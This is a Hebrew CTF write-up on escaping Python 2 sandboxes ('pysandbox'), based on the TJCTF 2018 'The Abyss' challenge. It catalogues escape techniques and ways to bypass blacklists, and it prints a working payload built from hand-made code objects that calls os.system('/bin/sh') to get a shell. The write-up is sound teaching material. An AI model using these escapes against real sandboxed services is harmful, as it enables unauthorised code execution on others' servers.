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Exploiting The Abyss: Pysandbox Escape 

 (Thankjnv) חן ורתם( JohnE) ארז יונתן מאת

 

 הקדמה

שבמסגרתה קבוצות שונות מרחבי העולם התחרו  TJCTFהתקיימה התחרות  12/08/2018-6-בתאריכים ה

 .The Abyss -זו בזו באתגרי אבטחת מידע שונים. אתגר אחד היה מיוחד ותפס את תשומת ליבנו 

 .2בגרסה פייתון Pysandbox/Python jail -האתגר היה אתגר מסוג

 (.CPythonבמפרש הדיפולטיבי  2.7לאורך המאמר נתייחס לעבודה מול הגרסה הזאת )פייתון 

אנחנו נדרשים לנצל את הגמישות של השפה פייתון כדי לעקוף חסימות של  Pysandbox באתגרים מסוג

מילים ותווים על מנת להריץ קוד "לא בטוח", אשר נותן לנו שליטה מסוימת על השרת המרוחק או הדלפה 

 האתגר רץ.)דגל(. לרוב הדגל מאוחסן בקובץ שנמצא על השרת באותה תיקייה בה  של מידע

, או תחת eval)שנשלח כמחרוזת לתכניות שמריצות את האתגר( יורץ לרוב על ידי הפונקציה  הקוד שלנו

exec. 

 שכתב תומר זית. במאמרניתן לקרוא על המבוא לנושא בהרחבה 

, את האתגר שעליו עבדנו ואת את pysanboxבמאמר שלפניכם נציג שיטות שונות לפתירת אתגרי 

בסוף המאמר גם נוסיף טיפים שיעזרו לכם להתמודד מול אתגרים מהסוג  הטכניקה החדשה שמצאנו.

 )מיועד למחברי אתגרים(. הנ"ל וטריק קטן שיהפוך את האתגר שלכם לקשוח במיוחד

-אם אינכם מנוסים בתחום ה מכים על כך שלקורא יש רקע בסיסי בפייתון.במאמר זה אנחנו מסת

Pysandbox  אנחנו ממליצים שתעברו על כל המאמר אך אם יש לכם ניסיון באתגרים מהסוג הנ"ל ואתם

 pysandboxשולטים בשפה, אתם יכולים לדלג ישר לדרך הפתרון החדשה שמצאנו ולטריק לכותבי 

 מרושעים.

 

 

https://tjctf.org/
https://www.digitalwhisper.co.il/files/Zines/0x5A/DW90-5-PySandbox.pdf
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 Pysandbox להתמודדות עם אתגרי שיטות נפוצות

 :builtins-ב שימוש

 .1(interpreter) המכיל פונקציות וטיפוסים אשר בנויים בתוך המפרש __builtin__ניתן להשתמש במודול 

 

שנמצאת בכל  globals, אפשר להגיע אליו דרך הפונקציה __builtin__-במידה ונחסמה לנו גישה ישירה ל

 namespace-מחזירה מילון שמכיל את כל המשתנים שמוגדרים ב globalsמפרש של פייתון. הפונקציה 

 הגלובלי שבו הוגדרה הפונקציה.

 

" __builtins__שאליו נוכל לגשת דרך המפתח " __builtin__הללו נוכל למצוא את המודול  items-בין ה

 במילון.

אנחנו יכולים לייבא ספריות נוספות שבהן נוכל להשתמש כרצוננו  __builtin__ברגע שיש לנו גישה למודול 

של פייתון. בנוסף לכך, נוכל להשתמש  builtins-, שהיא חלק מה__import__בעזרת הפונקציה 

כמו כן, נוכל לגשת  אשר מאפשרות גישה לקבצים וקריאה שלהם. fileובטיפוס  open, readבפונקציות כגון 

. כאשר שמות של פונקציות __dict__)'.'( או על ידי  דרך האופרטור נקודה __builtin__לפונקציות של 

)דרכים לעקיפה של  וניגש אליהן דרך מפתח שמיוצג על ידי מחרוזת __dict__-חסומות, אנחנו נשתמש ב

 מחרוזות מפורטות בסוף המאמר(.

                                                           
 

1
 .globals את גם משם למחוק ניתן, כן כמו. זאת שעושים רבים אתגרים יש ואף __builtin__-מ אלמנטים למחוק ניתן
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 locals-ו varsהגלובלי ניתן להשתמש בפונקציות  scope-שלנו מורצות ב בנוסף על כך, במידה והפקודות

  נמחקה ניתן להשתמש בפקודה הבאה במקום: globals-קרה שבמ .__builtin__-על מנת לקבל גישה ל

(lambda: 1).func_globals 

 

 :input-ב שימוש

 input, raw_input.2ישנן שתי פונקציות אשר אחראיות על קלט:  2בפייתון

 -אחראית לקלט של מחרוזות. בזה נעזוב אותה ונציג את אחותה היותר מעניינת  raw_inputהפונקציה 

input הפונקציה .input  קולטת מחרוזת ומריצה אותה )ניתן לממש אתinput  :בעצמנו בדרך הבאה

)((eval(raw_inputלכן ברגע שאנחנו יכולים לקרוא ל .)-input יזה קוד זדוני אנחנו גם יכולים להריץ א

 שמתחשק לנו ללא ההגבלות של האתגר.

. כל פקודה אחרת שנכניס importאסור לנו להשתמש במילה  -בסיסי מאוד  pysandbox-הנה דוגמה ל

והשמת ערך  input)(-אנו יכולים להתגבר על ההגבלה על ידי כך שנתחיל ב תורץ כמו שהיא ללא כל בעיה.

יורץ נקבל  execלא מופיעה בקלט שלנו, אך כאשר  importהמילה ההחזרה שלו לתוך משתנה. מן הסתם 

והקלט שלנו יתפרש בתור קוד(. הפעם לא תתבצע  inputיריץ את  execאת האפשרות להכניס קלט נוסף )

 שום בדיקה על הקלט שלנו ונוכל לעקוף את ההגבלות.

 

                                                           
 

2
 .raw_input כמו מתפקדת היא אך input הפונקציה רק נשארה 3שבפייתון נציין 
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 :reload-ב שימוש

או כל מודול אחר שיש בו פונקציות שיכולות  __builtin__בואו ניקח מצב שבו הצלחנו לקבל גישה למודול 

לעזור לנו, אך לרוע המזל היוצר של האתגר מחק מהמודול את האובייקטים שאנחנו צריכים. פה נכנסת 

 .reload לתמונה הפונקציה

מקבלת כפרמטר מודול שכבר נטען לתוכנית בהצלחה, וטוענת אותו מחדש. הטעינה  reloadהפונקציה 

 מאפשרת לנו לגשת לכל האובייקטים שנמחקו מהמודול. המחודשת

. כאשר אנחנו __builtins__נמחקה מהמודול  openבדוגמה הבאה אנחנו יכולים לראות שהפונקציה 

מנסים לגשת אליה אנחנו מקבלים שגיאה שאומרת שהפונקציה לא מוגדרת, אך אם נטען מחדש את 

 להתעלם מהעובדה שיוצר האתגר מחק לנו פונקציות.המודול נוכל לגשת אליה בלי בעיות וכך פשוט 

 

 :eval-ו, exec-ב שימוש

 משמשות להרצת קוד בפייתון, אך עם מספר הבדלים:  evalוגם  execגם 

 מוגדרת בתור פונקציה. execגם  3בפייתון הוא הצהרה. exec-הוא פונקציה ו eval - 2בפייתון .1

 3יכולה לקבל רק ביטוי אחד. evalיכולה לקבל מספר ביטויים ולהריץ אותם,  exec-בעוד ש .2

אף יגרום  2)ניסיון לשמור את ערך ההחזרה בפייתון Noneתמיד יהיה  execערך ההחזרה של  .3

 ( של הביטוי שהיא קיבלה.evaluated) תחזיר את הערך המוערך evalלשגיאת תחביר(, אך 

                                                           
 

3
 .קוד מסוג ארגומנט לפונקציה וניתן במידה ביטויים מספר בעל קוד להריץ נוכל: eval-ב קצה למקרה לב נשים 
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-אותו אפשר להשיג על ידי שימוש ב -יכול להיות אובייקט קוד  exec-ו evalהארגומנט הראשון של 

compile  נפרט על(compile )הארגומנטים השני  או מחרוזת שתקומפל לקוד ואז תורץ. - בהמשך המאמר

של הקוד המורץ, בהתאמה. ברירת המחדל  locals-וה globals-והשלישי הינם אופציונליים וישמשו בתור ה

 נקראו. execאו  eval( בו scope) של התחום locals-וה globals-היא שימוש ב

>>>exec 'print 50*3' 

150 

>>>code = compile('print 50*3', '', 'exec') 

>>>exec code 

150 

>>>eval(code) 

150 

>>>eval('print 50*3') 

Traceback (most recent call last): 

  File "<stdin>", line 1, in <module> 

  File "<string>", line 1 

    print 50*3 

        ^ 

SyntaxError: invalid syntax 

 וההבדל ביניהן: eval, execלהסבר מפורט על 

https://stackoverflow.com/questions/2220699/whats-the-difference-between-eval-exec-and-

compile-in-python 

 :טעונים מודולים-ב שימוש

)בטעות של יוצר האתגר או  ישנם מצבים בהם באתגר נעשה שימוש במודולים שונים שלא נחסמים

חשוב לדעת שישנם מודולים שונים אשר מאפשרים הרצת קוד וחשוב להכיר אותם. בין המודולים  במכוון(.

ניתן לקרוא בהרחבה על הרצת קוד בעזרת  .pickle, timeit, subprocess, runpyהאלו ניתן למצוא את: 

 בקישור הבא:  pickleהמודול 

https://blog.nelhage.com/2011/03/exploiting-pickle/ 

 :אובייקטים של dependencies-ב שימוש

)לינק בתחילת המאמר(, ישנה עוד דרך לפתירת אתגרי  כמו שניתן לראות במאמר שכתב תומר זית

pysandbox  והיא כיום הנפוצה ביותר. לפי הדרך הזאת אנחנו מנסים להגיע לפונקציות או למודולים

 .scopeמעניינים דרך אובייקטים שעושים בהם שימוש או שמוגדרים באותו 

הראשון מחפש  הסקריפט מצורפים שני סקריפטים שכתבנו למציאת מודולים בשיטה הנ"ל.בסוף המאמר 

-השני מחפש מודולים בצורה עקיפה דרך ה הסקריפט .object-שים ממודולים דרך אובייקטים שיור

builtins. 

  

https://stackoverflow.com/questions/2220699/whats-the-difference-between-eval-exec-and-compile-in-python
https://stackoverflow.com/questions/2220699/whats-the-difference-between-eval-exec-and-compile-in-python
https://blog.nelhage.com/2011/03/exploiting-pickle/
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 בעזרת הסורקים המצורפים נוכל לקבל דרכים שונות שמובילות למודולים שיכולים לעניין אותנו:

 

 נוכל לקבל גישה אל המודולים הבאים דרך הסקריפטים שצירפנו:

 המודול sys -  במודול הזה אנחנו יכולים למצוא אתmodules של שמות בין הממפה מילון שהוא 

 מודולים להרבה גישה להשיג יכולים בעצם אנחנו כך. עצמם והמודולים למפרש שנטענו מודולים

 .באתגרים לנו שיעזרו שימושיים

 המודול os - דוגמאות. השרת על פקודות להריץ לנו יאפשרו אשר במודול פונקציות מספר ישנן 

 .system ,popen ,exec ,spawn: הן האלה לפונקציות

אנחנו לא נפרט כמו כן, ישנן מספר פונקציות במודול אשר מטפלות ביצירה של קבצים וקריאתם. 

 עליהן במאמר זה, אך רצוי לקרוא עליהן.

 המודול linecache - הפונקציות getline ,ו-getlines זה לפעמים) מקובץ שורות לקרוא לנו מאפשרות 

 .ל"הנ המודול דרך os למודול לגשת ניתן (.צריכים שאנחנו מה כל

 המודול traceback - למודולים לגשת ניתן sys ,types ,linecache ל"הנ המודול דרך 

 המודול types - המודול types זאת לנצל נוכל. בשפה המובנים אובייקטים של טיפוסים מכיל 

 .חסומות כמילים סומנו או נמחקו הם אם אפילו הללו באובייקטים ולהשתמש

  

https://docs.python.org/2/library/sys.html
https://docs.python.org/2/library/os.html
https://docs.python.org/2/library/linecache.html
https://docs.python.org/2/library/traceback.html
https://docs.python.org/2/library/types.html
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 :ההגבלות למרות קבצים לקרוא ניתן כיצד נראה הבאה בדוגמה

 

 .typesעל  __dict__אליו דרך  , היינו ניגשיםFileTypeכמו כן, במצב שבו האתגר גם היה חוסם את המילה 

 :object-ב שימוש

תיחסם על ידי יוצר האתגר.  objectלעיתים נרצה להשתמש בשיטה המפורטת בסעיף הקודם, אך המילה 

 .object-גם פה ניתן לעקוף את החסימה ולהגיע ישר ל

 4הן: objectשלוש דרכים שבעזרתן ניתן לקבל את 

 ב שימוש-mro: המתודה mro מהם האובייקטים את המכילה רשימה ומחזירה אובייקט על מופעלת 

 של הטיפוס) הירושה בשרשרת לעליה בהתאם עולה בסדר ממוינת הרשימה. יורש האובייקט

 (. ברשימה אחרון ימוקם object-ש בעוד ראשון יופיע הנוכחי האובייקט

>>>type.mro(type)[-1] 

<type 'object'> 

)יוצר האתגר חסם אותו( ניתן להשתמש בתכונה  type-חשוב לשים לב: במידה ולא נוכל להשתמש ב

__class__.__mro__ .של אובייקטים 

                                                           
 

 :( אותן ולגלות לחקור מוזמנים אתם. במאמר עליהן נפרט לא אבל דרכים עוד קיימות  4
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 עליהן הכריז אשר האובייקט מיהו מגדירה במתודות __objclass__ התכונה: __objclass__-ב שימוש

 שהוכרזה __init__ המתודה את יכיל הוא object-מ יורש אובייקט שאם להגיד ניתן. לראשונה

 . objectידי על לראשונה

>>>"".__init__.__objclass__ 

<type 'object'> 
 

 ב שימוש-__class__.__bases__ :התכונה את יש בפייתון אובייקט לכל __class__ .הזו לתכונה גישה 

 את מקבלים אנו כאשר (.אובייקט אותו עם type-ל ערך שווה) האובייקט של המחלקה את לנו תיתן

 שהמחלקה המחלקות של tuple שהיא שלה __bases__ לתכונה לגשת באפשרותנו יש המחלקה

 .ישיר באופן מהן יורשת

>>>().__class__.__bases__ 

(<type 'object'>,) 

>>>''.__class__.__bases__ 

(<type 'basestring'>,) 

ולהשתמש , צריך למצוא את הטיפוסים הנכונים objectכפי שניתן לראות בתמונה לא תמיד נקבל את 

 בהם.
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 האתגר והפתרון שלנו

. TJCTFאשר עלה במסגרת התחרות  misc-האתגר שהצגנו בתחילת המאמר היה אתגר מקטגוריית ה

 קבוצות שהשתתפו בתחרות. 1016פותרים מתוך  31לאתגר היו 

 !מוזמנים לנסות את האתגר בעצמכם, השרת עדיין באוויר. אתם 2018נכון לאוקטובר 

 

 

לאחר שהתחברנו לשרת של האתגר דרך פרטי ההתחברות שניתנו בתיאור, ראינו באנר שמאוד הזכיר 

 :של פייתון ולאחר אימות קצר ראינו שאכן מדובר בשרת שמריץ פקודות פייתון interpreterלנו 

 

 :אנחנו צריכים לדעת עם מה אנחנו יכולים לעבוד - __builtins__נתחיל בלהדפיס את 

 

 ' אבל זה לא מה שיעצור תותחי פייתון )הסבר על עקיפת מחרוזות מפורט בסוף__אסור לנו להכניס '

 המאמר(.

  

https://tjctf.org/
https://he.wikipedia.org/wiki/%D7%9E%D7%A4%D7%A8%D7%A9_(%D7%AA%D7%95%D7%9B%D7%A0%D7%94)
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 ננסה:בואו 

 

 וכו'. open, eval, getattr כצפוי, לא כל הפונקציות מופיעות פה. חסרות לנו פונקציות חשובות כגון:

 השילוב בין החסימה של .__builtin__-משמעות הדבר היא שהכותב מחק פונקציות וטיפוסים מסויימים מ

דרכים לגשת למודולים או , בנוסף לחסימות רבות שהקשו על חיינו, לא השאירו לנו getattr-' ו__'

אחרי שהגענו לכאן עברו כמה שעות טובות של חפירות בתוך אובייקטים, ניסיונות  פונקציות מעניינות.

 .type -כושלים להכניס מילים חסומות ולא מעט ייאוש עד שהגענו למחלקה שגאלה אותנו 

 לא נלאה אתכם בפרטים על כל הטכניקות שניסינו, ניתן לקרוא את הפירוט של חלקן מוקדם יותר במאמר

 זפרני ורגב גלר לאיתיגם נרצה להודות  זו בנקודה "(.Pysandbox)"שיטות נפוצות להתמודדות עם אתגרי 

 .האתגר על שונות טכניקות איתנו וניסו שישבו

? כמצופה ניתן להשתמש בה בשביל לגלות מהו הטיפוס של משתנה מסוים type-ב אז מה כל כך מיוחד

ערך ההחזרה של הבנאי הוא הטיפוס של הפרמטר שהעברנו לה. ניתן  -)מילון, מחרוזת, רשימה וכו'( 

 כדי להפעיל את הבנאי של המחלקה המוחזרת: typeלהוסיף סוגריים אחרי הבנאי של 

>>>num = type(0)(5) 

>>>num 

5 

>>>num*2 

10 

>>>type(num) 

<type 'int'> 

>>> 

 .intלשם יצירת משתנה חדש מסוג  typeכפי שאתם רואים, השתמשנו בערך ההחזרה של הבנאי של 

 חדש בדרך הזו היא לא דבר יעיל במיוחד, אך ישנם טיפוסים שיהיה לנו שימושי ליצור.  intאולי יצירה של 

  

https://docs.python.org/2/library/functions.html#type
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 הטיפוסים שיש לנו בפייתון:קודם כל כדאי להסתכל על כל 

>>> import types 

>>> dir(types) 

['BooleanType', 'BufferType', 'BuiltinFunctionType', 

'BuiltinMethodType', 'ClassType', 'CodeType', 'ComplexType', 

'DictProxyType', 'DictType', 'DictionaryType', 'EllipsisType', 

'FileType', 'FloatType', 'FrameType', 'FunctionType', 'GeneratorType', 

'GetSetDescriptorType', 'InstanceType', 'IntType', 'LambdaType', 

'ListType', 'LongType', 'MemberDescriptorType', 'MethodType', 

'ModuleType', 'NoneType', 'NotImplementedType', 'ObjectType', 

'SliceType', 'StringType', 'StringTypes', 'TracebackType', 'TupleType', 

'TypeType', 'UnboundMethodType', 'UnicodeType', 'XRangeType', '__all__', 

'__builtins__', '__doc__', '__file__', '__name__', '__package__'] 

>>> 

 :FunctionType-ו CodeTypeמופיעים כאן שני טיפוסים שיהיו חשובים מאוד בהמשך: 

של  bytecode5כל פקודה בפייתון מתורגמת מקוד המקור שלה לשפת ביניים ) -  CodeTypeהטיפוס

נוכל לגשת לטיפוס  .שנוצר bytecode-פייתון(. פייתון מממש ברקע מכונה וירטואלית והיא מריצה את ה

לקריאה  (.__code__ניתן לגשת רק דרך  3)בפייתון __code__או דרך  func_codeקוד של פונקציה דרך 

 : python-bytecodeנוספת על 

https://opensource.com/article/18/4/introduction-python-bytecode 

מכיל את כל השדות שהמכונה הוירטואלית צריכה בשביל להריץ את הקוד  CodeTypeאובייקט מסוג 

את הארגומנטים הנכונים יהיה  code)בנוסף למספר שדות המשמשים לדיבוג(. אם נוכל לתת לבנאי של 

 שאפשר להריץ.ביכולתנו ליצור קוד 

 :CodeTypeנסביר בקצרה על חלק הארגומנטים של 

 co_filename - ידי על שמיוצר קוד עבור. הקוד של המקור קובץ של השם את מייצג compile - נראה 

 (.בהמשך compile על הסבר) לה שנתנו filename הארגומנט את פה
 

  co_name- יהיה השם. )שייך הקוד אליה הפונקציה של השם את מייצג <'module '>נוצר הקוד אם 

 (.compile ידי על
 

 co_argcount - מקבל שהקוד הארגומנטים מספר (ידי על נוצר הקוד אם 0 תמיד compile.) 
 

 co_varnames - ידי על מיוצג, הקוד של המקומיים והמשתנים הארגומנטים של השמות tuple. 

 

 co_code - ה-bytecode מחרוזת ידי על מיוצג, הוירטואלית המכונה ידי על מורץ אשר. 

 

                                                           
 

5
 dis המודול בעזרת code אובייקט של bytecode-ה את לרוורס ניתן 

https://opensource.com/article/18/4/introduction-python-bytecode
https://docs.python.org/2/library/dis.html
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 co_consts - בקוד המופיעים קבועים ערכים (ומספרים מחרוזות hardcoded .)הערך None תמיד 

 - None הוא אם אפילו - החזרה ערך להיות צריך פונקציה שלכל היא לכך הסיבה) הזה tuple-ב יופיע

 (.החזרה ערך יהיה לא שבו למקרה מראש מוכן המפרש לכן
 

 co_firstlineno - (.הקוד של לדיבוג משמש) התחיל הקוד בו המקור בקובץ השורה מספר 
 

 co_lnotab - כאשר בתים 2 של לקבוצות המחרוזת את לחלק ניתן. מהקודמים יותר מסובך קצת 

 השינוי את לנו מראה השני והבית bytecode-ה בתוך באופסט השינוי את לנו מראה הראשון הבית

 שלהן והשורה bytecode-ב פקודות של האופסט בין ממפה בעצם) המקור בקוד השורות במספר

 .דיבוג לצורך הוא השימוש כאן גם(. המקור בקוד

 

כמו כן, מומלץ להיכנס  מעניינת אשר מסבירה על אובייקט מסוג קוד. בכתבהבמהלך המחקר נתקלנו 

מכילה תיעוד של כל הארגומנטים  9דוגמה מספר  .10-ו 9ולהסתכל על דוגמאות מספר  הבאלקישור 

)שימו לב שאנחנו  CodeTypeניתן לראות דוגמה לשימוש בבנאי של  10בדוגמה מספר  שהבנאי מקבל.

 (.else-אז הבנאי הרלוונטי נמצא בתוך ה 2עובדים עם פייתון

, bytecode וכתיבה של קוד מקור בפייתון? התשובה פשוטה מאוד: CodeType-מה ההבדל בין שימוש ב

עצמו יהיה לרוב טקסט לא  bytecode-ה, מיוצג על ידי סטרינג. CodeTypeכמו חלק מהארגומנטים של 

קריא אך חלק מהארגומנטים האחרים מכילים טקסט שעלול להיות חסום. במצב כזה אפשר לעקוף את 

 ההגבלות שיש על הקלט שלנו )הרחבה על כך מופיעה בסוף המאמר(.

  

https://late.am/post/2012/03/26/exploring-python-code-objects.html
https://www.programcreek.com/python/example/2068/types.CodeType
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 :Compile-ב שימוש

בעצמנו, אך פייתון מספקת לנו  byecode-כמובן שאנחנו לא יודעים לעשות את התרגום של קוד מקור ל

 בדיוק בשביל זה. compileאת הפונקציה 

 מחרוזת המייצגת קוד מקור בפייתון, שם קובץ מקור -מקבלת שלושה ארגומנטים  compileהפונקציה 

 שהוא אחד משלושה ערכים: mode-<' במקרה שאין קובץ מקור( וstring)נהוג להכניס '>

 eval - יחיד ביטוי שמכילות מחרוזות עבור. 

 single - למסך יודפס הביטוי של ההחזרה שערך רוצים ואנחנו יחיד ביטוי שמכילות מחרוזות עבור 

 (.None לא שהוא במקרה)

 exec - ה הוא אחרת מטרה כל עבור-mode ביותר נפוץה. 

compile מחזירה אובייקט מסוג קוד. את האובייקט אפשר להעביר ל-exec  אוeval  כדי להריץ אותו

 ישירות, או שניתן להשתמש בו בשביל ליצור פונקציה חדשה.

במצב בו הייתה  .builtin methods-מייצג טיפוס של פונקציה שאינה חלק מה -  FunctionTypeהטיפוס 

היינו יכולים להשתמש בהן כדי להריץ את האובייקט קוד, אך מאחר והן חסומות  exec/eval-לנו גישה ל

אנו זקוקים לדרך אחרת להריץ את הקוד שלנו. הדרך לעשות זאת היא על ידי יצירה של פונקציה חדשה 

 וקריאה לפונקציה.  FunctionTypeתוך שימוש בבנאי של 

. אחרי קצת CodeType-ו FunctionTypeשלהם הם  קודם כל אנחנו צריכים למצוא אובייקטים שהטיפוסים

 משחק עם טיפוסים הצלחנו לעשות זאת:

 

כל מה שחסר עכשיו הוא להשיג את כל השדות שאנחנו צריכים בשביל בנאי של פונקציה )הקוד שלה 

בנאי של קוד דורש קצת יותר פרמטרים, למזלנו מצאנו מוקדם יותר דוגמה  (.globalsומילון שמייצג את 

 שמראה איך להשתמש בו.
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 :הקוד הבא יחלץ את המידע הנחוץ מאובייקט קוד ויבנה אותו מחדש

 

נצטרך לבנות את  compile-זה עבד כמו שקיווינו. בגלל שבמפרש של האתגר אין לנו אפשרות להשתמש ב

ה הקוד בעזרת הפלט שקיבלנו. בדיקה מהירה מראה לנו שאין הבדל בין השימוש באופרטור * והכנס

 :ישירה של הפרמטרים

>>> reconstructed == type((lambda x: x).func_code)(0, 0, 1, 64, 

'd\x00\x00GHd\x01\x00S', ('Executing code...', None), (), (), 

'<string>', '<module>', 1, '', (), ()) 

True 

>>> 

 :לבדוק האם נצליח לעשות אותו דבר גם באתגר - האמת רגעהגיע 

 

 !אכן רגע מרגש, הצלחנו להריץ קוד על ידי בנייה של פונקציה והקוד שלה מהבסיס

)חוץ מלהפוך למאמני פוקימונים( ברגע שנחליף את הקוד שאנחנו  נוכל להגשים את כל החלומות שלנו

 השורה הבא אמורה לעשות את העבודה: .shellמקמפלים עם קוד שמשיג 

copyright.__init__.func_globals.values()[36].system("/bin/sh")  
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 הבא: payload-' נקבל את ה\x5f\x5f'-' שמופיע באחד מהארגומנטים ל__'-אחרי שנחליף את ה

(0, 0, 2, 64, 

'e\x00\x00j\x01\x00j\x02\x00j\x03\x00\x83\x00\x00d\x00\x00\x19j\x04\x00d

\x01\x00\x83\x01\x00\x01d\x02\x00S', (36, '/bin/sh', None), 

('copyright', '\x5f\x5finit\x5f\x5f', 'func_globals', 'values', 

'system'), (), '<string>', '<module>', 1, '', (), ()) 

 ובאתגר:

 

 , אפשר לעשות את זה ככה:one linersאם גם אתם אוהבים 

type(lambda x: x)(type((lambda x: x).func_code)(0, 0, 2, 64, 

'e\x00\x00j\x01\x00j\x02\x00j\x03\x00\x83\x00\x00d\x00\x00\x19j\x04\x00d

\x01\x00\x83\x01\x00\x01d\x02\x00S', (36, '/bin/sh', None), 

('copyright', '\x5f\x5finit\x5f\x5f', 'func_globals', 'values', 

'system'), (), '<string>', '<module>', 1, '', (), ()), globals())() 

על השרת. מכאן אנחנו יכולים לעשות מה שאנחנו רוצים )במסגרת ההרשאות  shellזהו, הצלחנו להשיג 

 של המשתמש עליו אנו רצים(.

 קודבאותה הזדמנות גם לקחנו את  במקרה הזה המטרה שלנו הייתה לקבל את הדגל והשגנו אותו.

אתם מוזמנים להסתכל  -בנוסף  של השרת. עכשיו אנחנו יכולים לראות מול מה בדיוק התמודדנו. המקור

 . גם קוד המקור של השרת וגם קוד הפתרון מצורפים כלינק בסוף המאמר.הפתרון קודב
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 Pysandboxטיפים לפתירת אתגרי 

 :חסומות מחרוזות

המונע הכנסה של מחרוזות מסוימות. דוגמאות נפוצות לכך הן  blacklist-באתגרים רבים קיים שימוש ב

'os' לשניהם יש הרבה כח _' והתו( '- os נותן גישה למתודות ותכונות _'-נותן גישה לפונקציות מערכת ו '

 רבות של אובייקטים(.

 :6ישנן מספר דרכים לעקוף זאת

 בפעולה שימוש chr התו של המספרי הערך עם. 

 ב שימוש-'xYY\ 'כאשר 'YY 'התו של ההקסדצימלי הערך את מייצג. 

 סטרינגים בחיבור שימוש. 

 המחרוזת סגירת לפני' \' הסימן בעזרת שורה בירידת שימוש. 

 בפורמט שימוש '%c.' 

 ב שימוש-slicing. 

 במתודה שימוש join. 

 במתודה שימוש format. 

 במתודה שימוש replace. 

 במתודה שימוש decode - כגון קידודים במגוון תומך hex, base64, rot13 ועוד. 

 השניה אחרי אחת המחרוזות כתיבת. 

>>>chr(95) 

'_' 

>>>'\x5f' 

'_' 

>>>'o' + 's' 

'os' 

>>>'o\ 

...s' 

'os' 

>>>'%c'%95 

'_' 

>>>'so'[::-1] 

'os' 

>>>''.join(['o', 's']) 

'os' 

>>>'ob.'.replace('b', 's') 

'os' 

>>>'Xw=='.decode('base64') 

'_' 

>>>'o'"s" 

os 

                                                           
 

6
 .בעצמכם אותן לחקור מוזמנים אתם, במאמר עליהן נפרט לא אבל רבות דרכים עוד קיימות 
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 :חסום'.'  האופרטור/  חסומות פונקציות

במידה וישנן פונקציות השייכות לאובייקט אך השם שלהן חסום, ניתן להיעזר בפעולה שמוגדרת לכל 

 .__getattribute__אובייקט:

__getattribute__ מופעלת על אובייקט ומקבלת כמחרוזת שם של תכונה (attributeאשר שייכת ) 

 .AttributeErrorלאובייקט. במידה והתכונה נמצאת, מוחזר מופע של התכונה. אחרת נזרקת שגיאה מסוג 

כך ניתן לקרוא לפונקציה בעזרת שימוש במחרוזת ולעקוף הגבלות מסוימות על טקסט )בעזרת השיטות 

 הנ"ל(.

>>> string = 'abc' 

>>> string.__getattribute__('spl' + 'it') 

<built-in method split of str object at 0x0000000002AF5A30> 

>>> string.__getattribute__('spl' + 'it')('b') 

['a', 'c'] 

>>> 

 .__getattribute__-)נקודה( נחסם, כעת אנחנו לא יכולים להשתמש ב בואו נדמיין שגם האופרטור '.'

 getattr  . הפונקציה__builtins__-אשר נמצאת ב getattrבמצב כזה אנחנו יכולים להשתמש בפונקציה 

מקבלת שני פרמטרים: הראשון הוא האובייקט ממנו אנו רוצים לקבל את התכונה, השני הוא שם התכונה 

על  __getattribute__-מבצעת מאחורי הקלעים הוא קריאה ל getattr-אותה אנו מעוניינים לקבל. מה ש

 האובייקט שקיבלה בפרמטר הראשון.

 __getattribute__במצב שבו אנחנו מנסים לגשת באובייקט לתכונה שאינה קיימת ובנוסף לכך, המתודה 

 תקרא במקומה: __getattr__לא ממומשת, 
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 :חסומים מספרים

)על אף שנדיר למצוא אותם( אשר חוסמים לנו את האפשרות להכניס מספרים. במצבים  ישנם אתגרים

-בשיטה של ייצוג מספרים דרך ערכים בוליאנים, אופרטורים אריתמטיים, וכאלה אנחנו יכולים להשתמש 

Bitwise Operators7. 

 ]ם", התת נושא הזה הוא חומר העשרהניתן לדלג על "השוואת אובייקטי[

 :אובייקטים השוואת

 .שונים מטיפוסים האובייקטים :מצבים שלושה להתקיים יכולים 2בפייתון אובייקטים בין משווים כאשר .1

 .השוואה מתודות ממומשות ובטיפוס זהים מטיפוסים האובייקטים .2

 .השוואה מתודות ממומשות לא ובטיפוס זהים מטיפוסים האובייקטים .3

 :שונים מטיפוסים אובייקטים

בין שני אובייקטים שאינם מאותו טיפוס, תתבצע השוואה על פי שמות הטיפוסים  כאשר אנחנו נשווה

 כאשר נשווה בין מחרוזת לרשימה באופן הבא: 8שלהם.

>>> [] > "" 

False 

>>> 

 פייתון תתייחס להשוואה כך:

>>> type([]).__name__ > type("").__name__ 

Flase 

>>> 

 :ממומשות אובייקטים מטיפוסים זהים, מתודות השוואה

כאשר אנחנו נשווה בין שני אובייקטים מאותו טיפוס שמממש מתודות השוואה, ההשוואה תתבצע לפי 

 המימוש של אותן מתודות. דוגמה למצב כזה היא השוואה בין שני מספרים:

>>> 1044 > 1014 

True 

>>> 

 אובייקטים מטיפוסים זהים, מתודות השוואה לא ממומשות:

בין שני אובייקטים מאותו טיפוס ובטיפוס מתודות ההשוואה אינן ממומשות, ההשוואה כאשר אנחנו נשווה 

 של האובייקטים: id-תתקיים על פי ה

class A(object): 

    def init(sef): pass 

first = A() 

sec = A() 

 

print "first < sec:", first < sec 

print "id(first < id(sec): ", id(first) < id(sec) 

 פלט:

first < sec: True 

id (first) < id(sec): Truel 

                                                           
 

7
 .פייתון קוד של כאובוספקציה משמשת גם הזו השיטה 

8
 .טיפוס מאותו שאינם אובייקטים שני בין השוואה לעשות ניתן לא 3בפייתון, 2מפייתון להבדיל 

https://wiki.python.org/moin/BitwiseOperators
https://wiki.python.org/moin/BitwiseOperators
https://www.python.org/dev/peps/pep-0207/#classes
https://www.python.org/dev/peps/pep-0207/#classes
https://www.python.org/dev/peps/pep-0207/#classes
https://www.python.org/dev/peps/pep-0207/#classes
https://www.python.org/dev/peps/pep-0207/#classes
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 :True ,False -הבוליאנים

המייצג מספרים  int( יורש מהאובייקט True,False) המייצג ערכים בוליאנים boolבפייתון האובייקט 

 :__mro__שלמים, ניתן לראות זאת בעזרת 

>>> type(True).__mro__ 

(<type 'bool'>, <type 'int'>, <type 'object'>) 

>>> 

 כמו כן, נוכל לראות שלאובייקטים בוליאנים יש ערך מספרי:

>>> int(True) 

1 

>>> int(False) 

0 

>>> 

 בהמשך נוכל להשתמש בערכים המספריים של הבוליאנים על מנת ליצור מספרים שונים.

 :אופרטורים

אנחנו יכולים להרכיב כל מספר שיעלה בדעתנו בעזרת שימוש באופרטורים  1-ו 0ברגע שיש לנו את 

 . bitwiseאריתמטיים. בגלל שאנחנו מגניבים, תמיד נשתמש באופרטורי 

>>> ~0 * ~1 

2 

>>> 6 & 3 

2 

>>> 1 ^ 3 

2 

>>> 1 << 1 

2 

>>> 4 >> 1 

2 

>>> 

